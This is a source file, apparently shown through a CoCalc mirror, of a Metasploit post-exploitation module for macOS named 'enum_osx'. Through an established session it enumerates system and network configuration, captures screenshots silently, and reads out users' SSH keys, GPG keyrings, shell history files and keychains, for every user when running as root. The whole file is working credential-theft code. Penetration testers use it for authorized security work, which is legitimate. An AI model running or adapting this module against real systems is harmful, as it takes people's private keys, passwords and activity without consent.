CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_osx.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::OSX::Priv
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'OS X Gather Mac OS X System Information Enumeration',
16
'Description' => %q{
17
This module gathers basic system information from Mac OS X Tiger (10.4), through
18
Mojave (10.14).
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
22
'Platform' => [ 'osx' ],
23
'SessionTypes' => [ 'meterpreter', 'shell' ]
24
)
25
)
26
end
27
28
# Run Method for when run command is issued
29
def run
30
case session.type
31
when /meterpreter/
32
host = sysinfo['Computer']
33
when /shell/
34
host = cmd_exec('hostname')
35
end
36
print_status("Running module against #{host}")
37
if is_root?
38
print_status('This session is running as root!')
39
end
40
41
ver_num = get_ver
42
log_folder = log_folder_create
43
enum_conf(log_folder)
44
enum_accounts(log_folder, ver_num)
45
get_crypto_keys(log_folder)
46
screenshot(log_folder, ver_num)
47
dump_bash_history(log_folder)
48
get_keychains(log_folder)
49
end
50
51
# parse the dslocal plist in lion
52
def read_ds_xml_plist(plist_content)
53
require 'rexml/document'
54
55
doc = REXML::Document.new(plist_content)
56
keys = []
57
58
doc.elements.each('plist/dict/key') do |element|
59
keys << element.text
60
end
61
62
fields = {}
63
i = 0
64
doc.elements.each('plist/dict/array') do |element|
65
data = []
66
fields[keys[i]] = data
67
element.each_element('*') do |thing|
68
data_set = thing.text
69
if data_set
70
data << data_set.gsub("\n\t\t", '')
71
else
72
data << data_set
73
end
74
end
75
i += 1
76
end
77
return fields
78
end
79
80
# Function for creating the folder for gathered data
81
def log_folder_create(log_path = nil)
82
# Get hostname
83
case session.type
84
when /meterpreter/
85
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
86
when /shell/
87
host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
88
end
89
90
# Create Filename info to be appended to downloaded files
91
file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
92
93
# Create a directory for the logs
94
if log_path
95
logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info)
96
else
97
logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info)
98
end
99
100
# Create the log directory
101
::FileUtils.mkdir_p(logs)
102
return logs
103
end
104
105
# Checks if the target is OSX Server
106
def check_server
107
# Get the OS Name
108
cmd_exec('/usr/bin/sw_vers', '-productName') =~ /Server/
109
end
110
111
# Enumerate the OS Version
112
def get_ver
113
# Get the OS Version
114
cmd_exec('/usr/bin/sw_vers', '-productVersion')
115
end
116
117
def enum_conf(log_folder)
118
profile_datatypes = {
119
'OS' => 'SPSoftwareDataType',
120
'Network' => 'SPNetworkDataType',
121
'Bluetooth' => 'SPBluetoothDataType',
122
'Ethernet' => 'SPEthernetDataType',
123
'Printers' => 'SPPrintersDataType',
124
'USB' => 'SPUSBDataType',
125
'Airport' => 'SPAirPortDataType',
126
'Firewall' => 'SPFirewallDataType',
127
'Known Networks' => 'SPNetworkLocationDataType',
128
'Applications' => 'SPApplicationsDataType',
129
'Development Tools' => 'SPDeveloperToolsDataType',
130
'Frameworks' => 'SPFrameworksDataType',
131
'Logs' => 'SPLogsDataType',
132
'Preference Panes' => 'SPPrefPaneDataType',
133
'StartUp' => 'SPStartupItemDataType'
134
}
135
136
shell_commands = {
137
'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'],
138
'UDP Connections' => ['/usr/sbin/netstat', '-np udp'],
139
'Environment Variables' => ['/usr/bin/printenv', ''],
140
'Last Boottime' => ['/usr/bin/who', '-b'],
141
'Current Activity' => ['/usr/bin/who', ''],
142
'Process List' => ['/bin/ps', '-ea']
143
}
144
145
print_status("Saving all data to #{log_folder}")
146
147
# Enumerate first using System Profiler
148
profile_datatypes.each do |name, profile_datatypes|
149
print_status("\tEnumerating #{name}")
150
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
151
# Save data lo log folder
152
file_local_write(log_folder + "//#{name}.txt", returned_data)
153
end
154
155
# Enumerate using system commands
156
shell_commands.each do |name, command|
157
print_status("\tEnumerating #{name}")
158
command_output = cmd_exec(command[0], command[1])
159
# Save data lo log folder
160
begin
161
file_local_write(log_folder + "//#{name}.txt", command_output)
162
rescue StandardError
163
print_error("failed to run #{name}")
164
end
165
end
166
end
167
168
def enum_accounts(log_folder, ver_num)
169
# Specific commands for Leopard and Snow Leopard
170
leopard_commands = {
171
'Users' => ['/usr/bin/dscacheutil', '-q user'],
172
'Groups' => ['/usr/bin/dscacheutil', '-q group']
173
}
174
175
# Specific commands for Tiger
176
tiger_commands = {
177
'Users' => ['/usr/sbin/lookupd', '-q user'],
178
'Groups' => ['/usr/sbin/lookupd', '-q group']
179
}
180
181
if ver_num =~ /10\.(7|6|5)/
182
shell_commands = leopard_commands
183
else
184
shell_commands = tiger_commands
185
end
186
shell_commands.each do |name, command|
187
print_status("\tEnumerating #{name}")
188
command_output = cmd_exec(command[0], command[1])
189
# Save data lo log folder
190
file_local_write(log_folder + "//#{name}.txt", command_output)
191
end
192
end
193
194
# Method for getting SSH and GPG Keys
195
def get_crypto_keys(log_folder)
196
# Run commands according to the session type
197
if session.type =~ /shell/
198
199
# Enumerate and retreave files according to privilege level
200
if !is_root?
201
202
# Enumerate the home folder content
203
home_folder_list = cmd_exec('/bin/ls -ma ~/').split(', ')
204
205
# Check for SSH folder and extract keys if found
206
if home_folder_list.include?("\.ssh")
207
print_status('.ssh Folder is present')
208
ssh_folder = cmd_exec('/bin/ls -ma ~/.ssh').split(', ')
209
ssh_folder.each do |k|
210
next if k =~ /^\.$|^\.\.$/
211
212
print_status("\tDownloading #{k.strip}")
213
ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")
214
215
# Save data lo log folder
216
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
217
end
218
end
219
220
# Check for GPG and extract keys if found
221
if home_folder_list.include?("\.gnupg")
222
print_status('.gnupg Folder is present')
223
gnugpg_folder = cmd_exec('/bin/ls -ma ~/.gnupg').split(', ')
224
gnugpg_folder.each do |k|
225
next if k =~ /^\.$|^\.\.$/
226
227
print_status("\tDownloading #{k.strip}")
228
gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")
229
230
# Save data lo log folder
231
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)
232
end
233
end
234
else
235
users = []
236
users_folder = cmd_exec('/bin/ls', '/Users')
237
users_folder.each_line do |u|
238
next if u.chomp =~ /Shared|\.localized/
239
240
users << u.chomp
241
end
242
243
users.each do |u|
244
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
245
next unless user_folder.include?("\.ssh")
246
247
print_status(".ssh Folder is present for #{u}")
248
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(', ')
249
ssh_folder.each do |k|
250
next if k =~ /^\.$|^\.\.$/
251
252
print_status("\tDownloading #{k.strip}")
253
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")
254
255
# Save data lo log folder
256
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
257
end
258
end
259
260
users.each do |u|
261
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
262
next unless user_folder.include?("\.ssh")
263
264
print_status(".gnupg Folder is present for #{u}")
265
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(', ')
266
ssh_folder.each do |k|
267
next if k =~ /^\.$|^\.\.$/
268
269
print_status("\tDownloading #{k.strip}")
270
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")
271
272
# Save data lo log folder
273
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
274
end
275
end
276
end
277
end
278
end
279
280
# Method for capturing screenshot of targets
281
def screenshot(log_folder, ver_num)
282
if ver_num =~ /10\.(7|6|5)/
283
print_status('Capturing screenshot')
284
picture_name = ::Time.now.strftime('%Y%m%d.%M%S')
285
if is_root?
286
print_status('Capturing screenshot for each loginwindow process since privilege is root')
287
if session.type =~ /shell/
288
loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
289
loginwindow_pids.each do |pid|
290
print_status("\tCapturing for PID:#{pid}")
291
cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
292
file_local_write(log_folder + "//screenshot_#{pid}.jpg",
293
cmd_exec("/bin/cat /tmp/#{pid}.jpg"))
294
cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg")
295
end
296
end
297
else
298
cmd_exec('/usr/sbin/screencapture', "-x /tmp/#{picture_name}.jpg")
299
file_local_write(log_folder + '//screenshot.jpg',
300
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
301
cmd_exec('/usr/bin/srm', "-m -z /tmp/#{picture_name}.jpg")
302
end
303
print_status('Screenshot Captured')
304
end
305
end
306
307
def dump_bash_history(log_folder)
308
print_status('Extracting history files')
309
users = []
310
users_folder = cmd_exec('/bin/ls', '/Users')
311
current_user = cmd_exec('/usr/bin/id', '-nu')
312
users_folder.each_line do |u|
313
next if u.chomp =~ /Shared|\.localized/
314
315
users << u.chomp
316
end
317
318
# If we are root lets get root for when sudo was used and all users
319
if current_user == 'root'
320
321
# Check the root user folder
322
root_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
323
root_folder.each do |f|
324
next unless f =~ /\.\w*_history/
325
326
print_status("\tHistory file #{f.strip} found for root")
327
print_status("\tDownloading #{f.strip}")
328
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
329
330
# Save data lo log folder
331
file_local_write(log_folder + "//root_#{f.strip}.txt", sh_file)
332
end
333
334
# Getting the history files for all users
335
users.each do |u|
336
# Lets get a list of all the files on the users folder and place them in an array
337
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
338
user_folder.each do |f|
339
next unless f =~ /\.\w*_history/
340
341
print_status("\tHistory file #{f.strip} found for #{u}")
342
print_status("\tDownloading #{f.strip}")
343
sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}")
344
345
# Save data lo log folder
346
file_local_write(log_folder + "//#{u}_#{f.strip}.txt", sh_file)
347
end
348
end
349
350
else
351
current_user_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
352
current_user_folder.each do |f|
353
next unless f =~ /\.\w*_history/
354
355
print_status("\tHistory file #{f.strip} found for #{current_user}")
356
print_status("\tDownloading #{f.strip}")
357
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
358
359
# Save data lo log folder
360
file_local_write(log_folder + "//#{current_user}_#{f.strip}.txt", sh_file)
361
end
362
end
363
end
364
365
# Download configured Keychains
366
def get_keychains(log_folder)
367
users = []
368
users_folder = cmd_exec('/bin/ls', '/Users')
369
users_folder.each_line do |u|
370
next if u.chomp =~ /Shared|\.localized/
371
372
users << u.chomp
373
end
374
if is_root?
375
users.each do |u|
376
print_status("Enumerating and Downloading keychains for #{u}")
377
keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
378
keychain_files.each do |k|
379
keychain_file = cmd_exec("/bin/cat #{k.strip}")
380
381
# Save data lo log folder
382
file_local_write(log_folder + "//#{u}#{k.strip.gsub(/\W/, '_')}", keychain_file)
383
end
384
end
385
else
386
current_user = cmd_exec('/usr/bin/id -nu')
387
print_status("Enumerating and Downloading keychains for #{current_user}")
388
keychain_files = cmd_exec('/usr/bin/security list-keychains').split("\n")
389
keychain_files.each do |k|
390
keychain_file = cmd_exec("/bin/cat #{k.strip}")
391
392
# Save data lo log folder
393
file_local_write(log_folder + "//#{current_user}#{k.strip.gsub(/\W/, '_')}", keychain_file)
394
end
395
end
396
end
397
end
398
399